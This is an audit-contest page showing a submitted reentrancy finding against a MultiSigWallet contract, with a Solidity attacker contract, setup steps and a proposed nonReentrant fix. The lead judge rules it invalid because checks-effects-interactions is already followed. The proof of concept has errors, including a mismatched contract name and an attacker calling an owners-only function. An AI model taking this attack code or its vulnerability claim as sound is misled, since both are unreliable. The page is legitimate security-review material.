DatingDapp
First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: low
Invalid

Re-entrancy attack on the ‘executeTransaction’ function

mallickpramod07

Summary

The executeTransaction function is vulnerable to reentrancy attacks because it calls an external address without using a reentrancy guard.

Vulnerability Details

The attacker can take following steps to exploit this vulnerability:

  1. Malicious Contract: The attacker deploys a malicious contract that reenters the executeTransaction function.

# code block
pragma solidity ^0.8.19;
import "../src/MultiSig.sol";
​
contract CAttacker {
MultiSigWallet public multiSigWallet;
uint256 public attackTxId;
​
constructor(address \_multiSigWallet) {
multiSigWallet = MultiSigWallet(\_multiSigWallet);
}
​
receive() external payable {
if (address(multiSigWallet).balance >= 1 ether) {
multiSigWallet.executeTransaction(attackTxId);
}
}
​
function Cattack(uint256 \_txId) external {
attackTxId = \_txId;
multiSigWallet.executeTransaction(\_txId);
}
​
}

3.Deploy the MultiSigWallet and CAttacker contract

// Deploy the MultiSigWallet contract
MultiSigWallet multiSigWallet = new MultiSigWallet(owner1, owner2);
// Deploy the Attacker contract
CAttacker attacker = new Attacker(address(multiSigWallet));

3.Fund the MultiSigWallet: fundthe MultiSigWallet contract with some ETH.

// Fund the MultiSigWallet contract
payable(address(multiSigWallet)).transfer(10 ether);

4.Submit and Approve a Transaction: Submit and approve a transaction from the MultiSigWallet to the CAttacker contract.

// Owner1 submits a transaction to the Attacker contract
multiSigWallet.submitTransaction(address(attacker), 1 ether);
// Owner1 approves the transaction
multiSigWallet.approveTransaction(0);
​
// Owner2 approves the transaction
multiSigWallet.approveTransaction(0);

5.Execute the CAttack: The attacker calls the Cattack function on the CAttacker contract, which triggers the reentrancy attack

Impact

An attacker could exploit this vulnerability by creating a malicious contract that reenters the executeTransaction function, potentially allowing them to drain the wallet.

Tools Used

None

Recommendations

To fix this vulnerability, we should add a reentrancy guard to the executeTransaction function. We can use OpenZeppelin's ReentrancyGuard for this purpose.

Here is the updated executeTransaction function.

​
`function executeTransaction(uint256 \_txId) external onlyOwners nonReentrant {
​
require(\_txId < transactions.length, "Invalid transaction ID");
Transaction storage txn = transactions\[\_txId];
require(!txn.executed, "Transaction already executed");
require(txn.approvedByOwner1 && txn.approvedByOwner2, "Not enough approvals");
txn.executed = true;
(bool success,) = payable(txn.to).call{value: txn.value}("");
require(success, "Transaction failed");
emit TransactionExecuted(\_txId, txn.to, txn.value);
​
}
Updates

Appeal created

n0kto Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_reentrancy_with_no_impact

matchRewards: Contract is created just before and is the one called. No impact. executeTransaction: CEI is followed. Emitting an event in disorder is informational in that context. withdraw: CEI is followed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.